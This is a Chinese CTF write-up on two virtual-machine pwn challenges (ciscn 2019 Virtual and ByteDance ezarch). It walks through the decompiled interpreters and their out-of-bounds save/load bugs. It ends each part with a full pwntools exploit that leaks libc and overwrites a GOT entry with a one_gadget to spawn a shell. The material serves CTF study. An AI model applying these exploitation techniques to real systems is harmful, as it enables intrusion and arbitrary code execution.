VM pwn 初探

前言

第一次遇到虚拟机类的pwn题是国赛线上初赛,当时没有学过解释器,不懂虚拟机的实现。复现下国赛和字节跳动ctf的两道vm pwn题.
关于写虚拟机,这篇文章挺不错的:
手把手教你构建 C 语言编译器(2)- 虚拟机
这篇也是我刚学解释器时看的文章..

ciscn 2019 Virtual

分析

程序开始处分配了三块空间用来当作stack段,text段,data段.

1
2
3
4
5
do_init();
exec_name = (char *)malloc(0x20uLL);
stack_addr = sub_4013B4(64);
text_addr = sub_4013B4(128);
data_addr = (void **)sub_4013B4(64);

这个函数先申请一个小的chunk用来存放段的信息,包括段的地址,当前存放的数据的个数,段的大小等

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
section_info *__fastcall sub_4013B4(int size)
{
section_info *result; // rax
section_info *ptr; // [rsp+10h] [rbp-10h]
void *s; // [rsp+18h] [rbp-8h]

ptr = (section_info *)malloc(0x10uLL);
if ( !ptr )
return 0LL;
s = malloc(8LL * size);
if ( s )
{
memset(s, 0, 8LL * size);
ptr->section_ptr = (__int64)s;
ptr->size = size;
ptr->idx = -1;
result = ptr;
}
else
{
free(ptr);
result = 0LL;
}
return result;
}

结构体如下:

1
2
3
4
5
00000000 section_info    struc ; (sizeof=0x10, mappedto_6)
00000000 section_ptr dq ?
00000008 size dd ?
0000000C idx dd ?
00000010 section_info ends

然后输入指令和栈数据:

1
2
3
4
5
6
7
puts("Your instruction:");
my_read_((__int64)ptr, 0x400u);
StoreOpcode(text_addr, ptr);

puts("Your stack data:");
my_read_((__int64)ptr, 0x400u);
StroeStack(stack_addr, ptr);

这里输入的指令都是单独的指令..指令后面不跟着数据
StoreOpcode函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
void __fastcall StoreOpcode(section_info *text, char *src)
{
int idx; // [rsp+18h] [rbp-18h]
int i; // [rsp+1Ch] [rbp-14h]
const char *s1; // [rsp+20h] [rbp-10h]
_QWORD *ptr; // [rsp+28h] [rbp-8h]
if ( text )
{
ptr = malloc(8LL * text->size);
idx = 0;
for ( s1 = strtok(src, delim); idx < text->size && s1; s1 = strtok(0LL, delim) )
{
if ( !strcmp(s1, "push") )
{
ptr[idx] = PUSH;
}
else if ( !strcmp(s1, "pop") )
{
ptr[idx] = POP;
}
else if ( !strcmp(s1, "add") )
{
ptr[idx] = ADD;
}
else if ( !strcmp(s1, "sub") )
{
ptr[idx] = SUB;
}
else if ( !strcmp(s1, "mul") )
{
ptr[idx] = MUL;
}
else if ( !strcmp(s1, "div") )
{
ptr[idx] = DIV;
}
else if ( !strcmp(s1, "load") )
{
ptr[idx] = LOAD;
}
else if ( !strcmp(s1, "save") )
{
ptr[idx] = SAVE;
}
else
{
ptr[idx] = 255LL;
}
++idx;
}
for ( i = idx - 1; i >= 0 && (unsigned int)StoreInSection(text, ptr[i]); --i )// 最先输入的指令保存在最后面
;
free(ptr);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
signed __int64 __fastcall StoreInSection(section_info *a1, __int64 data)
{
int idx; // [rsp+1Ch] [rbp-4h]
if ( !a1 )
return 0LL;
idx = a1->idx + 1;
if ( idx == a1->size )
return 0LL;
*(_QWORD *)(a1->section_ptr + 8LL * idx) = data;
a1->idx = idx;
return 1LL;
}

使用strtok对输入的指令以” \n\r\t”进行分割,可以看到合法的字节码有push,pop,add,sub,mul,div,load,save,。
程序先将这些字节码存储在ptr这个数组里,然后再复制到程序段中。
注意先输入的指令是存放在程序段的高地址处,呈队列形式,先进先出. 等到取指令的时候是从队列的头部开始取.

输入栈数据也是类似的,数据先进先出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void __fastcall StroeStack(section_info *stack_addr, char *a2)
{
int idx; // [rsp+18h] [rbp-28h]
int i; // [rsp+1Ch] [rbp-24h]
const char *nptr; // [rsp+20h] [rbp-20h]
_QWORD *ptr; // [rsp+28h] [rbp-18h]
if ( stack_addr )
{
ptr = malloc(8LL * stack_addr->size);
idx = 0;
for ( nptr = strtok(a2, delim); idx < stack_addr->size && nptr; nptr = strtok(0LL, delim) )
ptr[idx++] = atol(nptr);
for ( i = idx - 1; i >= 0 && (unsigned int)StoreInSection(stack_addr, ptr[i]); --i )
;
free(ptr);
}
}

run函数里来对字节码进行解释执行,经过分析可以得到以下函数:

漏洞利用

漏洞出在do_SAVE,do_LOAD函数中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
signed __int64 __fastcall do_LOAD(section_info *data_addr)
{
signed __int64 result; // rax
__int64 idx; // [rsp+10h] [rbp-10h]

if ( (unsigned int)Get(data_addr, &idx) )
result = StoreInSection(data_addr, *(_QWORD *)(data_addr->section_ptr + 8 * (data_addr->idx + idx)));
else
result = 0LL;
return result;
}
signed __int64 __fastcall do_SAVE(section_info *data_addr)
{
__int64 v2; // [rsp+10h] [rbp-10h]
__int64 value; // [rsp+18h] [rbp-8h]

if ( !(unsigned int)Get(data_addr, &v2) || !(unsigned int)Get(data_addr, &value) )
return 0LL;
*(_QWORD *)(8 * (data_addr->idx + v2) + data_addr->section_ptr) = value;
return 1LL;
}

没有对index进行检查,可以造成越界读写.

来观察下堆的布局:

可以利用SAVE,输入一个负数index,修改data_info的section指针,将他指向本身程序的data段,这样以后的读取操作就在本身程序数据段上进行了.
然后利用相对偏移LOAD读取got表,得到libc地址,再利用add,将地址加到one_gadget,再利用SAVE修改got表即可getshell

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#coding=utf-8
from pwn import *
local = 1
exec_file="./pwn"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file)
if local :
a=process(exec_file)
if context.arch == "i386" :
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elif context.arch == "amd64" :
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("")
def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
set $data = 0x4056a0
set $stack = 0x405040
set $text = 0x405270
b *0x000000000401318
'''
gdb.attach(a,script)

def fuck(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def init():
a.sendlineafter("Your program name:\n","aaa")
#debug()
init()
payload = "push push save push load push add push save"
a.sendlineafter("Your instruction:\n",payload)

one = -(0x844f0-0xf1147)
data_addr=0x000000000404088
data = [data_addr,-3,-13 ,one ,-13]

# data , -3 修改 data_addr
# -13 读取 free的地址
# add one ,得到 onegadget地址
# save 在free_got写入one_gadget

payload=""
for i in data:
payload+=str(i)+" "
endlineafter("Your stack data:\n",payload)
a.interactive()

字节跳动ctf ezarch

分析

程序有以下功能:

1
2
3
[B]reakpoints
[M]emory Set
[R]un

经过分析可以得到虚拟机的全局结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
00000000 info            struc ; (sizeof=0x466, mappedto_6)
00000000 ; XREF: .bss:stru_2030C0/r
00000000 memory_ptr dq ?
00000008 stack_ptr dq ?
00000010 stack_size dd ?
00000014 memory_size dd ?
00000018 BreakPoint dd 256 dup(?)
00000418 regs dd 16 dup(?)
00000458 EIP_ dd ?
0000045C ESP_ dd ?
00000460 EBP_ dd ?
00000464 eflags dw ?
00000466 info ends

这个结构体是保存在程序的bss段

MemorySet

MemorySet就是初始化一块内存,用来当做text段,在其中存放字节码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
printf("[*]Memory size>");
a2 = (info *)((char *)ptr + 20);
__isoc99_scanf("%u", &ptr->memory_size);
v6 = ptr;
size = ptr->memory_size;
if ( size > 0xA00000 )
{
puts("[!]too large");
}
else
{
memory_ptr = malloc(size);
...
v9->memory_ptr = (__int64)memory_ptr;

初始化时,堆输入的size没有限制,可以进行堆溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
puts("[*]Memory inited");
printf("[*]Inited size>");
__isoc99_scanf("%llu", &init_size);
printf("[*]Input Memory Now (0x%llx)\n", init_size);
while ( idx < init_size )
{
v12 = (void *)(ptr->memory_ptr + idx);
if ( init_size - idx > 0xFFF )
{
numb = read(0, v12, 0x1000uLL);
if ( numb <= 0 )
goto LABEL_26;
}
else
{
numb = read(0, v12, init_size - idx);
if ( numb <= 0 )
LABEL_26:
exit(1);
}
idx += numb;
}
puts("[*]Memory Inited");

自己可以设置eip,esp,ebp:

1
2
3
4
5
6
7
8
puts("[*]Memory Inited");
puts("[*]Now init some regs");
printf("eip>");
__isoc99_scanf("%u", &ptr->EIP_);
printf("esp>");
__isoc99_scanf("%u", &ptr->ESP_);
printf("ebp>");
__isoc99_scanf("%u", &ptr->EBP_);

虚拟机的stack段是程序本身的bss段的一块空间,大小为0x1000字节。

Run

通过对run函数进行分析,大多数一条指令的长度为 1+1+4+4 = 10字节
第一个字节为字节码,第二字节为type,字节码解释时的依据。
通过设置type高位4字节和低位4字节来确定第二个操作数和第一个操作数的类型(立即数/寄存器中的值/内存中的值)
4,4分别为第一个操作数,第二个操作数
也有个别的指令只有第一个操作数

经过分析可以得到如下字节码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
1.add
高位:
0:从寄存器中取值
1:立即数
2:从内存中直接取数据
低位:
0:存进寄存器
2:直接写入内存

2.sub
add

3.save
高位:
0second <= 15,从寄存器中取值,
second = 16second = ESP,
second = 17second = EBP
1:立即数
2sec <=15, 内存处相对寻址,
sec ==16 second = stack[rsp]
sec ==17 second = stack[rbp]

低位:
2first <= 15 , *(memory_ptr + regs[first]) = second
first == 16 , *(stack_ptr + esp ) = second
fisrt == 17 , *(stack_ptr + ebp ) = second
0: fisrt <= 15 , regs[first] = second
first == 16 , esp = second
first == 17 , ebp = second

4.xor
高位:
0second = regs[second]
1: second = second
2second = *(mem_ptr + regs[second])
低位:
2:*(first+regs[first]) ^= second
0: regs[first] ^= second

5.or
同xor
6.and
同xor
7.shift left
同xor
8.shift right
同xor

9.push
10.pop
11.call
12.ret
13,14 cmp,根据结果设置eflag位

漏洞利用
1
2
3
4
5
6
eip_ = ptr->EIP_;
mem_size = ptr->memory_size;
if ( eip_ >= mem_size || (unsigned int)ptr->ESP_ >= ptr->stack_size || mem_size <= ptr->EBP_ )
return 1LL;
v3 = 0LL;
opcode_ptr = ptr->memory_ptr + eip_;

run函数开始处对ptr->EBP的判断有问题,这里判断是 ptr->EBP<= mem_size这可以通过,mem_size完全可以大于stack_size,这样输入的EBP值就可以大于stack_size,就可以进行越界读取.

程序bss段的布局如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
stack 0x1000

VM_info :
mem_ptr
stack_ptr:指向上面的stack
stack_size = 0x1000
mem_size
BreakPoint[256]
regs[16]
Eip
Esp
Ebp
eflags

stack段的下面就是VM_info这个结构体。
这样就利用save越界读取stack_ptr,然后保存到regs[0]中,再利用sub,将regs[0]减到got表的地址,再利用save修改stack_ptr为regs[0],这样stack_ptr就指向了got表项,利用同样的方法读取libc地址,然后加减到one_gadget即可

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#coding=utf-8
from pwn import *
local = 1
exec_file="./ezarch"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file)
if local :
a=process(exec_file)
if context.arch == "i386" :
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
elif context.arch == "amd64" :
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
a=remote("")

def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *
'''
gdb.attach(a,script)
def menu(idx):
a.sendlineafter("R]un\n[E]xit\n>",idx)
def Init(content,eip,esp,ebp):
menu("M")
a.sendlineafter("[*]Memory size>",str(0x6000))
a.sendlineafter("[*]Inited size>",str(len(content)))
a.sendafter("\n",content)
a.sendlineafter("eip>",str(eip))
a.sendlineafter("esp>",str(esp))
a.sendlineafter("ebp>",str(ebp))
def save(t,op1,op2):
return '\x03'+t+p32(op1)+p32(op2)
def add(t,op1,op2):
return '\x01'+t+p32(op1)+p32(op2)
def sub(t,op1,op2):
return '\x02'+t+p32(op1)+p32(op2)
payload = ""
#save regs[0] , stack[rbp]
#将stack+rbp处的值放到regs[0]处

payload += save('\x20',0,17)

#sub regs[0], 0xa0
# 减去 0xa0 指向 puts_got
payload += sub('\x10',0,0xa0)

#save stack[rbp] , regs[0]
#保存到 stack_ptr
payload += save('\x02',17,0)

#save regs[0],stack[rsp]
#将puts_addr低位放入regs[0]
payload += save('\x20',0,16)

one_offset = -(0x45216-libc.symbols["puts"])
#sub regs[0],one_offset
#减到 one_gadget
payload += sub('\x10',0,one_offset)
#save stack[rsp],regs[0]
payload += save('\x02',16,0)

Init(payload,0,0,0x1008)
menu('R')
a.interactive()